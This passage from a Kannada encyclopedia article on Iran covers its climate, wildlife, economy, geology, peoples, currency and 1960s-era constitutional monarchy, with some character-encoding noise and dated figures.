(ಡಿಪ್ರೆಷನ್ಸ್) ಪರಿಣಾಮವಾಗಿ ವಾಯುವ್ಯದ ಎತ್ತರ ಪ್ರದೇಶದಲ್ಲೂ ಕ್ಯಾಸ್ಪಿಯನ್ ಪ್ರದೇಶದಲ್ಲೂ ಹೆಚ್ಚು ಮಳೆಯಾಗುತ್ತದೆ. (20"-50"). ದಕ್ಷಿಣಕ್ಕೂ ಪೂರ್ವಕ್ಕೂ ಬಂದಂತೆ ಇದು ಕಡಿಮೆಯಾಗುತ್ತದೆ. ಅನಿಶ್ಚಿತವೂ ಆಗುತ್ತದೆ (2"-26"). ಉತ್ತರದ ಲವಣ ಮರುಭೂಮಿಗಳಿಂದ ಮಕ್ರಾನ್ ಕರಾವಳಿಯವರೆಗೂ ಸೆಯಿಸ್ತಾನಿದಿಂದ ಇಸ್ಫಹಾನ್‍ವರೆಗೂ ಇರುವ ಪ್ರದೇಶದಲ್ಲಿ ವರ್ಷಕ್ಕೆ 4"ಕ್ಕಿಂತ ಕಡಿಮೆ ಮಳೆ. ಇಲ್ಲಿ ಸುಮಾರು 5000 ಬೀಜೋತ್ಪಾದಕ ಜಾತಿಗಳ ಸಸ್ಯಗಳಿವೆ. ಕ್ಯಾಸ್ಟಿಯನ್ ಸಮುದ್ರ ತೀರದಲ್ಲಿ ಹಸಿರು ಸಮೃದ್ಧ, ಬೇಸಾಯಕ್ಕಾಗಿ ಮರಗಳನ್ನು ಕಡಿಯಲಾಗಿದೆ. ದಕ್ಷಿಣಕ್ಕೂ ಪೂರ್ವಕ್ಕೂ ಸಾಗಿದಂತೆ ಸಸ್ಯ ದಟ್ಟಣೆ ಕಡಿಮೆಯಾಗುತ್ತದೆ; ಪರ್ಷಿಯನ್ ಖಾರಿಯ ಕರಾವಳಿಯಲ್ಲಿ ಸಸ್ಯಗಳು ಬಲು ವಿರಳ. ಇರಾನಿನ ನದಿಗಳು ಬಲು ಪುಟ್ಟವು. ಇವುಗಳ ಪ್ರವಾಹದಲ್ಲಿ ಏರಿಳಿತ ಅಧಿಕ. ಆದ್ದರಿಂದ ಮೀನು ಜಾತಿಗಳು ಅಧಿಕವಾಗಿಲ್ಲ. ತೇವವಿರುವ ಕಪ್ಪೆಗಳಿವೆ. ಗ್ರೀಕ್ ಆಮೆಗಳೂ ಉಂಟು. ಹಲ್ಲಿಗಳೂ ಹಾವುಗಳೂ ಇಲ್ಲದಿಲ್ಲ. == ಪ್ರಾಣಿಪಕ್ಷಿಗಳು == ಹಿಂದೆ ನೈಋತ್ಯ ಭಾಗದಲ್ಲಿ ಸಿಂಹಗಳಿದ್ದವು. ಈಗ ಅವು ಬಹಳ ಮಟ್ಟಿಗೆ ಅಳಿದು ಹೋಗಿವೆ. ಮಜಾಂಡೆರನ್ನಿನ ಕಾಡುಗಳಲ್ಲಿ ಹುಲಿ ಇನ್ನೂ ಉಳಿದಿದೆ. ಅಸ್ತೆರಾಬಾದ್ ಹಾಗೂ ತಿರ್ಮಾನುಗಳಲ್ಲಿ ಚಿರತೆಗಳಿವೆ. ನರಿ, ತೋಳ, ಚಿರತೆ, ಕಾಡು ಬೆಕ್ಕುಗಳು ದೇಶದ ಹಲವು ಕಡೆಗಳಲ್ಲಿ ಕಾಣಸಿಗುತ್ತವೆ. ಕಂದುಕರಡಿ, ಕಾಡು ಮೇಕೆ, ಪರ್ಷಿಯನ್ ಅಳಿಲು, ಕತ್ತೆ ಕಿರುಬ, ಮುಂಗುಸಿ, ಭಾರತೀಯ ಮುಳ್ಳು ಹಂದಿ ಇವು ಅವವಕ್ಕೆ ಹೊಂದುವ ಪರಿಸರಗಳಲ್ಲಿವೆ. ಜಿಂಕೆ, ಕಾಡುಹಂದಿ ಇವುಗಳೂ ಇವೆ. ಪೂರ್ವದ ಮರಳುಗಾಡಿನಲ್ಲಿ ಕಾಡುಕತ್ತೆಗಳಿವೆ. ಇಲ್ಲಿ ವಾಸಿಸುವ ಹಲವಾರು ಜಾತಿಯ ಪಕ್ಷಿಗಳ ಜೊತೆಗೆ ಯೂರೋಪಿನ ಹಲವು ಬಗೆಯ ಪಕ್ಷಿಗಳು ಇಲ್ಲಿಗೆ ಬಂದು ಹೋಗುತ್ತವೆ; ಈ ದೇಶದ ಮೂಲಕ ಹಾದು ಹೋಗುತ್ತವೆ. ಕವುಜುಗ, ಗ್ರೌಸ್, ಉಲ್ಲಂಗಿ, ಬಾತು, ಗೂಬೆ, ಡೇಗೆ, ಗಿಡುಗ, ಹದ್ದು ಇವನ್ನೂ ಕಾಣಬಹುದು. ಬುಲ್ ಬುಲ್ ಹಕ್ಕಿಯೂ, ಕೋಗಿಲೆಯೂ ಬೇಸಗೆಯ ಅತಿಥಿಗಳು. ಪೆಲಿಕನ್, ಫ್ಲಮಿಂಗೋಗಳು ಪರ್ಷಿಯನ್ ಖಾರಿಯ ಉತ್ತರತೀರದಲ್ಲಿವೆ. == ವ್ಯವಸಾಯ, ವಾಣಿಜ್ಯ, ಕೈಗಾರಿಕೆ == ಕ್ಯಾಸ್ಟಿಯನ್ ಸಮುದ್ರತೀರ ಮತ್ತು ಅಜûರ್‍ಬೈಜಾಜನ್ ಬಿಟ್ಟರೆ ಉಳಿದೆಡೆಗಳಲ್ಲಿ ವ್ಯವಸಾಯಕ್ಕೆ ನೀರಾವರಿ ಆವಶ್ಯಕ. ಆಹಾರ ಬೆಳೆಗಳಲ್ಲಿ ಗೋಧಿಯೂ ಬಾರ್ಲಿಯೂ ಪ್ರಧಾನ. ಕ್ಯಾಸ್ಟಿಯನ್ ತೀರದಲ್ಲಿ ಮೀನುಗಾರಿಕೆ ಒಂದು ಕಸಬು. ನೈಋತ್ಯ ಏಷ್ಯದ ಪೆಟ್ರೋಲಿಯಂ ಪ್ರಾಮುಖ್ಯವುಳ್ಳ ರಾಷ್ಟ್ರಗಳಲ್ಲಿ ಇರಾನೂ ಒಂದು. ಇರಾನಿನ ನೈಋತ್ಯದಲ್ಲಿ, ಮುಖ್ಯವಾಗಿ ಅಬಾದಾನಿನ ಸುತ್ತ ಪೆಟ್ರೋಲಿಯಂ ಕೇಂದ್ರಗಳಿವೆ. ಪೆಟ್ರೋಲ್ ಇರಾನ್ ದೇಶದ ಪ್ರಧಾನ ಸಂಪನ್ಮೂಲ. ಜೊತೆಗೆ ರತ್ನಗಂಬಳಿಗಳು, ಹತ್ತಿ, ಚರ್ಮ, ಅಕ್ಕಿ ಹಾಗೂ ಒಣ ಹಣ್ಣುಗಳನ್ನು ಇರಾನ್ ರಫ್ತು ಮಾಡುತ್ತದೆ. ಅಫೀಮು ಮತ್ತು ಹೊಗೆಸೊಪ್ಪಿನ ವ್ಯವಹಾರವನ್ನು ರಾಷ್ಟ್ರೀಕರಣ ಮಾಡಲಾಗಿದೆ. ದೇಶದ ವಾಣಿಜ್ಯ ಬಹುವಾಗಿ ಪರ್ಷಿಯ ಕೊಲ್ಲಿಯ ಮುಖಾಂತರ ನಡೆಯುವುದು. ಇದರಲ್ಲಿನ ಹೆಚ್ಚು ಭಾಗ ಪಶ್ಚಿಮ ಜರ್ಮನಿ ಮತ್ತು ಅಮೆರಿಕ ಸಂಯುಕ್ತಸಂಸ್ಥಾನಗಳೊಂದಿಗೆ ನಡೆಯುತ್ತದೆ. ದೇಶದಲ್ಲಿ ಬೃಹದ್ ಕೈಗಾರಿಕೆಗಳಿಲ್ಲ. ಗೃಹೋದ್ಯೋಗವೇ ಹೆಚ್ಚು. ಈಚೆಗೆ ಸಿಗರೇಟು, ಸಿಮೆಂಟು, ಹತ್ತಿ ರೇಷ್ಮೆ ಬಟ್ಟೆಗಳು, ಕಬ್ಬಿಣ ಮತ್ತು ಉಕ್ಕು - ಇವುಗಳ ದೊಡ್ಡ ಗಿರಣಿಗಳು ಸ್ಥಾಪನೆಯಾಗಿವೆ. ಒಟ್ಟು ದೇಶವನ್ನು ಸ್ವಾಭಾವಿಕ ಲಕ್ಷಣಗಳಿಗನುಗುಣವಾಗಿ ನಾಲ್ಕು ಭಾಗಗಳನ್ನಾಗಿ ಮಾಡಿದ್ದಾರೆ. 1 ಕ್ಯಾಸ್ಟಿಯನ್ ತೀರಪ್ರದೇಶ ; ಇಲ್ಲಿ ಮಳೆ ಸಾಕಷ್ಟು ಬಿದ್ದು ವಾಯುಗುಣ ಹಿತಕರವಾಗಿರುವುದರಿಂದ ವ್ಯವಸಾಯ ಹೆಚ್ಚು. ರೇಷ್ಮೆಯನ್ನು ಹೆಚ್ಚಾಗಿ ತಯಾರಿಸುತ್ತಾರೆ. 2 ಪರ್ವತ ಪ್ರದೇಶ : ಇಲ್ಲಿ ವ್ಯವಸಾಯಕ್ಕೆ ಅನುಕೂಲ ಕಡಿಮೆ. ಕುರಿ ಮೇಕೆಗಳ ಸಾಕಣೆ ಮುಖ್ಯ ಕಸಬು. ಕಣಿವೆಗಳಲ್ಲಿ ಗೋಧಿ, ಹತ್ತಿ, ಚಹ, ಬತ್ತ, ಹಣ್ಣುಗಳನ್ನು ಬೆಳೆಯುತ್ತಾರೆ. 3 ಮರುಭೂಮಿ: ದೇಶದ ಮಧ್ಯಭಾಗ ಸಮುದ್ರಕ್ಕೆ ದೂರವಿದ್ದು ಮಳೆ ಮಾರುತಗಳನ್ನು ಪರ್ವತಗಳನ್ನು ತಡೆದು ಬಿಡುವುದರಿಂದ ಮಳೆ 10" ಕ್ಕಿಂತ ಕಡಿಮೆ. 4 ಕುಜಿûಸ್ತಾನ್ ಬಯಲು ಉತ್ತರ ಭಾಗದಲ್ಲಿದೆ. ಭೂಮಿ ಜೌಗಾದ್ದರಿಂದ ವ್ಯವಸಾಯವಿಲ್ಲ. ಪೆಟ್ರೋಲ್ ಗಣಿಗಳಿವೆ. == ಭೂ ಇತಿಹಾಸ == ಇರಾನ್ ಪ್ರಸ್ಥಭೂಮಿ ದೇಶದಲ್ಲಿ ಹಾದು ಹೋಗುವ ಆಲ್ಪೈನ್-ಹಿಮಾಲಯನ್ ಪರ್ವತಶ್ರೇಣಿಗೆ ಸಂಬಂಧಿಸಿದ ಒಂದು ಮುಖ್ಯ ಭೂ ರಚನೆ. ಪಶ್ಚಿಮದತ್ತ ದೇಶದ ಸುಮಾರು ಮೂರನೆಯ ಎರಡು ಭಾಗವನ್ನು ಈ ಪ್ರಸ್ಥಭೂಮಿ ಆಕ್ರಮಿಸಿದೆ. ಪರ್ವತ ಶ್ರೇಣಿಯ ಭಾಗ ಬೃಹದಾಕೃತಿಯ ಕುಣಿಕೆಯೋಪಾದಿಯಲ್ಲಿದ್ದು ದೇಶದ ವಾಯವ್ಯ ಮತ್ತು ಈಶಾನ್ಯ ಸರಹದ್ದುಗಳಲ್ಲಿ ವ್ಯಾಪಿಸಿದೆ. ಖುû-ಎ-ದಿನಾರ್ ಮತ್ತು ಜಾóಗ್ರೋಸ್ ಪರ್ವತ ಶ್ರೇಣಿಗಳ ಹಲವು ಕಡೆ ಕೆಂಪು ಮತ್ತು ಹಸರು ಬಣ್ಣದ ಕೇಂಬ್ರಿಯನ್ ಯುಗದ ಮಂದವಾದ ಜೇಡುಶಿಲಾ ಪ್ರಸ್ತರಗಳಿವೆ. ದಕ್ಷಿಣ ಮತ್ತು ಪೂರ್ವಭಾಗಗಳಲ್ಲಿರುವ ಲವಣ ಶಿಲೆಗಳಲ್ಲಿ ಹಾರ್ಮುeóï ಮತ್ತು ರಾವರ್ ಶ್ರೇಣಿಗಳ ಶಿಲಾಛಿದ್ರಗಳನ್ನು ಗುರುತಿಸಬಹುದು. ಬಹುಶಃ ಈ ಲವಣ ಶಿಲೆಗಳು ಜೇಡು ಶಿಲೆಗಳಿಗೆ ಸರಿಸಮನಾದವು ; ಇಲ್ಲವೆ ಅವುಗಳಿಗಿಂತ ತುಸು ಹಿರಿಯ ವಯಸ್ಸಿನವು. ದೇಶದ ವಾಯುವ್ಯ, ಉತ್ತರ ಮತ್ತು ಪೂರ್ವಭಾಗಗಳಲ್ಲಿ [[ಡಿವೋನಿಯನ್|ಡಿವೋನಿಯನ್ ಕಲ್ಪ]]ದ (350-400 ದ. ಲ. ವರ್ಷ ಪ್ರಾಚೀನ ಕಾಲ) ಕೆಂಪು ಮರಳು ಶಿಲಾಪ್ರಸ್ತರಗಳು ವಿಸ್ತಾರವಾಗಿ ಹರಡಿರುವುದು ಕಂಡುಬಂದಿದೆ. ಮುಂದೆ ಇಡೀ ದೇಶ ಟೆಥಿಸ್ ಸಮುದ್ರದಿಂದ ಆವೃತವಾಗಿ ಕಾರ್ಬೊನಿಫೆರಸ್ ಕಲ್ಪದ (280-350 ದ. ಲ. ವರ್ಷ ಪ್ರಾಚೀನ ಕಾಲ) ಮಂದವಾದ ಕಪ್ಪು ಬಣ್ಣದ ಸುಣ್ಣ ಶಿಲೆಗಳು; ನಿಕ್ಷೇಪಗೊಂಡುವು. ಟ್ರಯಾಸಿಕ್ ಕಲ್ಪದಲ್ಲೂ (190-225ದ. ಲ. ವರ್ಷ ಪ್ರಾಚೀನ ಕಾಲ) ಸುಮಾರು ಎರಡು ಮೂರು ವಿವಿಧ ಹಂತಗಳಲ್ಲಿ ಜಲಜಶಿಲೆಗಳ ನಿಕ್ಷೇಪ ಮುಂದುವರಿಯಿತು. ಜೂರಾಸಿಕ್ ಕಲ್ಪದ (135-190 ದ. ಲ. ವರ್ಷ ಪ್ರಾಚೀನ ಕಾಲ) ಆದಿಯಲ್ಲಿ ಸುಮಾರು 10,000' ಮಂದವಾದ ಜಲಜಶಿಲೆಗಳ ನಿಕ್ಷೇಪವಾಯಿತು. ಇವುಗಳೊಡನೆ ಅಲ್ಲಲ್ಲೇ ಕಲ್ಲಿದ್ದಲ ತೆಳು ಪದರಗಳೂ ಸೇರಿಕೊಂಡಿವೆ. ಮಧ್ಯ ಇರಾನಿನಲ್ಲಿ ಈ ಶಿಲಾಶ್ರೇಣಿ ಆದಿ ಕ್ರಿಟೇಷಿಯಸ್ ಕಲ್ಪದಲ್ಲಾದ ಭೂಚಟುವಟಿಕೆಗಳ ದೆಸೆಯಿಂದ ರೂಪಾಂತರಗೊಂಡಿತು. ಮುಂದೆ ಮಧ್ಯಕ್ರಿಟೇಷಿಯಸ್ ಕಲ್ಪದವರೆಗೆ ಈ ಭೂಭಾಗದ ಮೇಲೆ ಯಾವ ತೆರನಾದ ನಿಕ್ಷೇಪಕಾರ್ಯಗಳೂ ಜರುಗಲಿಲ್ಲ. ಆದರೆ ಎಲ್‍ಬುರ್ಸ್, ಕೊಪೆಡಾಗ್ ಮತ್ತು ಜಾóಗ್ರೋಸ್ ಪ್ರದೇಶಗಳ ಮಹಾಇಳುಕಲುಗಳಲ್ಲಿ ಜಲಜಶಿಲಾ ನಿಕ್ಷೇಪ ಮುಂದುವರಿದ ದಾಖಲೆಗಳಿವೆ. ಜುರಾಸಿಕ್ ಕಲ್ಪದ ಅಂತ್ಯ, ಕ್ರಿಟೇಷಿಯನ್ ಹೀಗೆಯೇ ಇಯೊಸೀನ್ ಮತ್ತು [[ಆಲಿಗೊಸೀನ್]] ಕಲ್ಪಗಳಲ್ಲೂ ಈ ನಿಕ್ಷೇಪಣಾ ಕಾರ್ಯಕ್ಕೆ ಅಲ್ಲಲ್ಲೆ ತಡೆಯುಂಟಾದ (ಕೊಂಚಕಾಲದಮಟ್ಟಿಗೆ) ದಾಖಲೆಗಳಿವೆ. ಜಾóಗ್ರೋಸ್ ಪ್ರದೇಶದ ಇಯೊಸೀನ್ ನಿಕ್ಷೇಪಗಳು ಬಹುತೇಕ ಸುಣ್ಣಶಿಲೆಗಳು. ಎಲ್‍ಬುಸ್ರ್û ಪ್ರಾಂತ್ಯದದಲ್ಲಿ ಇದೇ ಭೂಯುಗದ ತಿಳಿಹಸಿರು ಛಾಯೆಯ ಬೇಸಿಕ್ ಲಾವಾಪ್ರಸ್ತರಗಳನ್ನು ನೋಡಬಹುದು. ಬಣ್ಣವನ್ನನುಸರಿಸಿ ಇವುಗಳನ್ನು ಹಸಿರು ಶಿಲಾಶ್ರೇಣಿಗಳು ಎಂದಿದ್ದಾರೆ. ಪೂರ್ವ ಮತ್ತು ಆಗ್ನೇಯ ಭಾಗಗಳಲ್ಲಿ ಪ್ಲಿಷ್ ಎಂಬ ವಿಶಿಷ್ಟ ರೀತಿಯ ಜಲಜಶಿಲಾಪ್ರಸ್ತರಗಳಿವೆ. ಆಲಿಗೋಸಿನ್ ಕಲ್ಪದಲ್ಲಿ (25-40 ದ. ಲ. ವರ್ಷ ಪ್ರಾಚೀನ ಕಾಲ) ಕೇಂದ್ರ ಇರಾನಿನ ಇಳುಕಲಿದ್ದಿತೆಂದು ಊಹಿಸಲಾಗಿದೆ. ಈ ಪ್ರದೇಶ ಮತ್ತೆ ದಕ್ಷಿಣ ಸಮುದ್ರದಿಂದ ಆವೃತವಾಗಿ ತೈಲವಾಹಕ ಅಸ್ಮಾರಿ ಸುಣ್ಣಶಿಲೆಗಳು ಶೇಖರವಾದುವು. ಕ್ರಮೇಣ ಮಯೊಸೀನ್ ಕಲ್ಪದ (11-25 ದ. ಲ. ವರ್ಷ ಪ್ರಚೀನ ಕಾಲ) ಆದಿಯಲ್ಲಿ ಇದು ಪುನಃ ಇಳಕುಲಾಗಿ ಪರಿವರ್ತಿತವಾಗಿ ಸುಮಾರು 15,000' ಮಂದದ ಲವಣ ಜೇಡು ಮತ್ತು ಜೇಡುಶಿಲಾ ಪ್ರಸ್ತರಗಳು ನಿಕ್ಷೇಪವಾದುವು. ಇವನ್ನು ಮೇಲಿನ ಕೆಂಪು ಶಿಲಾಶ್ರೇಣಿ ಎಂದು ಕರೆಯಲಾಗಿದೆ. ಇವನ್ನು ದೇಶದ ನೈಋತ್ಯದ ಪ್ರಾಂತ್ಯದ ಫಾರ್ಸೆ ಶಿಲಾಶ್ರೇಣಿಗಳಿಗೆ ಸರಿದೂಗಲಾಗಿದೆ. ಇರಾನಿನ ಪರ್ವತಶ್ರೇಣಿಗಳು ಮುಖ್ಯವಾಗಿ ಪ್ಲಿಯೊಸೀನ್ ಕಲ್ಪದ ಭೂಚಟುವಟಿಕೆಗಳಿಂದಾದುವು. ಈ ಮುಖ್ಯ ಘಟ್ಟವಾದ ಮೇಲೆ ತಲೆದೋರಿದ ಇತರ ಸಣ್ಣ ಪ್ರಮಾಣದ ಭೂಚಟುವಟಿಕೆಗಳೂ ಪರ್ವತಶ್ರೇಣಿಗಳ ರಚನೆಯಲ್ಲಿ ಸಾಕಷ್ಟು ಪಾತ್ರವನ್ನು ತಳೆದಿದೆ. ಶಿಲಾಪ್ರಸ್ತರಗಳೂ ಮಡಿಕೆ ಬಿದ್ದಿರುವುದೇ ಅಲ್ಲದೆ ಅಲ್ಲಲ್ಲೆ ಸ್ತರಭಂಗಗಳೂ ಉಂಟಾಗಿವೆ. ಇವುಗಳ ಮುಖ್ಯಜಾಡು ವಾಯವ್ಯ-ಆಗ್ನೇಯ ಅಥವಾ ಪೂರ್ವ ಪಶ್ಚಿಮವೆನ್ನಬಹುದು. ಪ್ಲಿಯೊ-ಪ್ಲಿಸ್ಟೊಸೀನ್‍ಗಳಲ್ಲಿ ಅಜóರ್‍ಬೈಜಾನ್, ಎಲ್‍ಬಸ್ರ್ó ಮತ್ತು ಕರ್ಮಾನ್ ಪ್ರದೇಶಗಳಲ್ಲಿ ಜ್ವಾಲಾಮುಖಿಗಳ ಕಾರ್ಯಾಚರಣೆ ಇತ್ತು. ಪರ್ಷಿಯನ್ ಕೊಲ್ಲಿಯ ಪ್ರದೇಶ ಮತ್ತು ಕೇಂದ್ರ ಇರಾನಿನಲ್ಲಿ ವಿವಿಧ ಭೂ ಯುಗಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಲವಣಗುಮ್ಮಟಗಳಿವೆ. == ಜನಜೀವನ == ಜನಸಂಖ್ಯೆಯಲ್ಲಿ ಅರ್ಧಕ್ಕಿಂತಲೂ ಹೆಚ್ಚು ಪರ್ಷಿಯನರು. ಈ ಜನ ಅರಬ್ಬೀ ಭಾಷೆಯ ಲಿಪಿಯನ್ನು ಉಪಯೋಗಿಸಿಕೊಂಡು ಸಾಹಿತ್ಯ ಬೆಳೆಸಿದ್ದಾರೆ. ಉಳಿದ ಜನ ಅಜûರ್‍ಬೈಜಾನ್ ತುರ್ಕರು ಕುರ್ಡರು ಮತ್ತು ಇತರ ಗುಡ್ಡಗಾಡಿನ ಬುಡಕಟ್ಟಿನವರು. ಇಸ್ಲಾಂ ಧರ್ಮದ ಷೀಯ ಪಂಗಡ ಪ್ರಬಲ. ಇರಾನ್ ಅನೇಕ ಜಾತಿ ಮತ ಪಂಗಡಗಳನ್ನು ಹೊಂದಿದ ದೇಶ. ಇದರ ಜನಸಂಖ್ಯೆ 1966ರಲ್ಲಿ 2,57,81,090 ಆಗಿತ್ತು. ಇವರಲ್ಲಿ ಹೆಚ್ಚಾಗಿ ಬೇಸಾಯಗಾರರು. ಸ್ವಭಾವತಃ ಇವರು ಸಂಪ್ರದಾಯವಾದಿಗಳು. ಇವರ ಜೀವನಕ್ರಮ ಹಳೆಯ ಪದ್ಧತಿಯನ್ನೇ ಅನುಸರಿಸಿದೆ. ಸಾಮಾನ್ಯವಾಗಿ ಇವರು ವಾಸಿಸುವುದು ಹಳ್ಳಿಗಳ ಮಣ್ಣು ಗುಡಿಸಲುಗಳಲ್ಲಿ. ಆ ಹಳ್ಳಿಗಳು ಜಮೀನುದಾರರಿಗೆ ಸೇರಿದುವು. ಅವರು ಅಲ್ಲಿಗೆ ಭೇಟಿಯನ್ನೇ ಕೊಡುವುದಿಲ್ಲ. ಅವರು ಇರುವುದು ರಾಜಧಾನಿ ಟೆಹರಾನಿನಲ್ಲಿ. ಆದರೆ ಇತ್ತೀಚೆಗೆ ಜನ ಎಚ್ಚರಗೊಳ್ಳುತ್ತಲ್ಲಿದ್ದಾರೆ. ಇವರಲ್ಲದೆ ಗಿರಿಜನರೂ ಈ ದೇಶದಲ್ಲಿದ್ದಾರೆ. ಇವರು ಸುಸಂಘಟಿತರಾಗಿದ್ದು, ಕುರಿ, ಆಡು, ಒಂಟೆ, ಕುದುರೆಗಳೊಂದಿಗೆ ವರ್ಷದಲ್ಲೆರಡು ಸಾರಿ ತಮ್ಮ ನಿವಾಸಸ್ಥಳವನ್ನು ಬದಲಾಯಿಸುತ್ತಾರೆ. ಇವರಲ್ಲಿ ಕುರ್ಡಿ ಭಾಷೆ ಮಾತನಾಡುವ ಕುರ್ಡ, ಭಕ್ತಿಯಾರಿ, ಲುರ; ತುರ್ಕಿ ಮಾತನಾಡುವ ಕ್ಯಾರಕ್ಯಿತ್, ಖಾಮೇಶ್, ಅಫಷರ್, ಬಲುಚಿ; ಪುಷ್ಟೊಭಾಷೆ ಮಾತನಾಡುವ ಆಫ್‍ಘನರು ಹಾಗೂ ದ್ರಾವಿಡ ಭಾಷೆಗೆ ಸಂಬಂಧಪಟ್ಟ ಭಾಷೆಯನ್ನಾಡುವ ಬ್ರುಹ್ಯುಯಿಶ್ ಜನಾಂಗದವರು ಪ್ರಮುಖರಾಗಿದ್ದಾರೆ. ಇವರಲ್ಲದೆ ಆರ್ಮೇನಿಯನ್, ಯಹೂದಿ, ಅಸ್ಸೀರಿಯನ್ ಜಾತಿಯ ಅಲ್ಪ ಸಂಖ್ಯಾತರೂ ಇಲ್ಲಿದ್ದಾರೆ. ಇಸ್ಲಾಂ ಧರ್ಮದ ಷೀಯ ಇರಾನಿನ ರಾಜಧರ್ಮ. ಆಧುನಿಕ ಪರ್ಷಿಯನ್ ಇಲ್ಲಿನ ಪ್ರಮುಖ ಭಾಷೆ. ಪರ್ಷಿಯನ್ ಸಂಸ್ಕøತಿಯೇ ಇರಾನೀಯರಿಗೆ ಹಿನ್ನೆಲೆ. ಒಟ್ಟು ಜನರಲ್ಲಿ ಸುಮಾರು ಶೇಕಡ 15-20ರಷ್ಟು ಜನ ಪಟ್ಟಣಗಳಲ್ಲಿ. ಶೇಕಡ 65ರಷ್ಟು ಜನ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಾರೆ. ಉಳಿದ ಸೇಕಡ 20-25ರಷ್ಟು ಜನ ಅಲೆಮಾರಿ ಜನಾಂಗ. ಟೆಹರಾನ್, ತೆಬ್ರಿಜ್, ಇಸ್ಪಹಾನ್, ಮೆಷೆದ್, ಸಿರಾಜ್, ರೇಷ್ಮ, ತೆರಮಾನ್, ಹಮಾದಾನ್, ಯಜ್ದ, ತೆರಮಾನ್ ಶಾಹ, ಅಬಾದಾನ್, ಅಹಾನeóï ಇಲ್ಲಿಯ ಪ್ರಮುಖ ನಗರಗಳು. ಟೆಹರಾನ್ ರಾಜಧಾನಿ. ಇರಾನಿನ ನಾಣ್ಯವ್ಯವಸ್ಥೆ ಹೀಗಿದೆ. ರಿಯಾಲ್ ಎಂಬುದು ಇಲ್ಲಿಯ ನಾಣ್ಯ. ಇದನ್ನು ಹತ್ತು ದಿನಾರಗಳಾಗಿ ವಿಭಾಗಿಸಲಾಗಿದೆ. 5, 10, 20, 50, 100, 200, 500 ಮತ್ತು 1000 ರಿಯಾಲುಗಳ ನೋಟುಗಳೂ 50 ದಿನಾರಗಳ ಹಾಗೂ 1, 2, 5 ಮತ್ತು 10 ರಿಯಾಲುಗಳ ನಾಣ್ಯಗಳೂ ಚಲಾವಣೆಯಲ್ಲಿವೆ. 750 ರಿಯಾಲುಗಳಿಗೆ ಒಂದು ಪಹ್ಲಾವಿ. 1/8, 4, 1, 2 1/2 ಮತ್ತು 5 ಪಹ್ಲಾಮಿ ಮೌಲ್ಯದ ಚಿನ್ನದ ನಾಣ್ಯಗಳಿವೆ. ವಿನಿಮಯ ದರ : 181 ರಿಯಾಲುಗಳಿಗೆ 1 ಪೌಂಡ್ ಸ್ಟರ್ಲಿಂಗ್ ಸಮ. 76 ರಿಯಾಲುಗಳಿಗೆ ಅಮೆರಿಕದ 1 ಡಾಲರ್ ಸಮ. == ಸಂವಿಧಾನ ಹಾಗೂ ಆಡಳಿತ == ಇರಾನಿನಲ್ಲಿ ಈಗ ಸಂವಿಧಾನಾತ್ಮಕ ರಾಜ ಪ್ರಭುತ್ವ ಸ್ಥಾಪಿತವಾಗಿವೆ. ಪ್ರಥಮವಾಗಿ ಈ ದೇಶದ ಸಂವಿಧಾನವನ್ನು 1906ರ ಡಿಸೆಂಬರ್ 30 ರಂದು ಅರಸನಿಂದ ಕರೆಯಲಾದ ಸಂವಿಧಾನ ಸಭೆಯಲ್ಲಿ ಮಂಡಿಸಲಾಯಿತು. ಇದನ್ನು ಅನೇಕ ಸಲ ಪರಿಷ್ಕರಿಸಲಾಗಿದೆ. ಸಂವಿಧಾನ ಒಟ್ಟು 51 ನಿಬಂಧನೆಗಳನ್ನು (ವಿಧಿ) ಹೊಂದಿದೆ. ಸಂವಿಧಾನದ ಪ್ರಕಾರ ಕಾರ್ಯಾಂಗದ ಅಧಿಕಾರ ಷಾಗೆ ಸೇರಿದೆ. ಆತ ಮಜಲಿಸಿನ (ಪಾರ್ಲಿಮೆಂಟ್) ಸಮ್ಮತಿಯ ಮೇರೆಗೆ ಪ್ರಧಾನ ಮಂತ್ರಿಯನ್ನು ನೇಮಿಸುತ್ತಾನೆ. ಪ್ರಧಾನ ಮಂತ್ರಿ ಪಾರ್ಲಿಮೆಂಟಿಗೆ ಹೊಣೆಯಾಗುತ್ತಾನೆ. ಉಳಿದ ಮಂತ್ರಿಗಳು ಕೂಡ ಒಟ್ಟಾಗಿಯೂ ವೈಯಕ್ತಿಕವಾಗಿಯೂ ಪಾರ್ಲಿಮೆಂಟಿಗೆ ಹೊಣೆಯಾಗುತ್ತಾರೆ. ಷಾಗೆ ಪಾರ್ಲಿಮೆಂಟನ್ನು ವಿಸರ್ಜಿಸುವ ಅಧಿಕಾರವಿದೆ. ಹಾಗಾದ ಕೂಡಲೆ ಹೊಸ ಚುನಾವಣೆ ನಡೆಯಲೇ ಬೇಕು. ಶಾಸನಾಧಿಕಾರ ದ್ವಿಸದನಗಳುಳ್ಳ (ಸೆನೆಟ್ ಹಾಗು ಮಜಲಿಸ್) ಪಾರ್ಲಿಮೆಂಟಿಗೆ ಸೇರಿದೆ. ಸೆನೆಟ್ 60 ಸದಸ್ಯರಿಂದ ಕೂಡಿರುತ್ತದೆ. 30 ಜನ ಚುನಾಯಿತರು. ಉಳಿದವರು ಷಾನಿಂದ ನೇಮಕಗೊಳ್ಳುತ್ತಾರೆ. ಸೆನೆಟರರು ಮುಸ್ಲಿಮರೇ ಆಗಿರಬೇಕು. ಇವರ ಅಧಿಕಾರದ ಅವಧಿ 6 ವರ್ಷಗಳು. ಮಜಲಿಸ್ 200 ಚುನಾಯಿತ ಸದಸ್ಯರುಗಳಿಂದ ಕೂಡಿದೆ. ಇದರ ಅವಧಿಯನ್ನು 2 ವರ್ಷಗಳಿಂದ 4 ವರ್ಷಗಳಿಗೆ ಹೆಚ್ಚಿಸಲಾಗಿದೆ. ಷಾಗೆ ಹಣಕಾಸಿಗೆ ಸಂಬಂಧಪಟ್ಟ ವಿಧೇಯಕವನ್ನು ಪುನಃ ಪರಿಶೀಲಿಸುವುದಕ್ಕಾಗಿ ಪಾರ್ಲಿಮೆಂಟಿಗೆ ಹಿಂತಿರುಗಿ ಕಳಿಸುವ ಅಧಿಕಾರವಿದೆ. ಪಾರ್ಲಿಮೆಂಟ್ ಒಪ್ಪಿಗೆ ಇತ್ತ ಇತರ ಎಲ್ಲ ವಿಧೇಯಕಗಳಿಗೆ ಷಾ ಅಂಕಿತ ಹಾಕಲೇ ಬೇಕು. ದೇಶ 13 ಉಸ್ತಾನಗಳಾಗಿ (ಆಡಳಿತ ಪ್ರಾಂತ್ಯ) 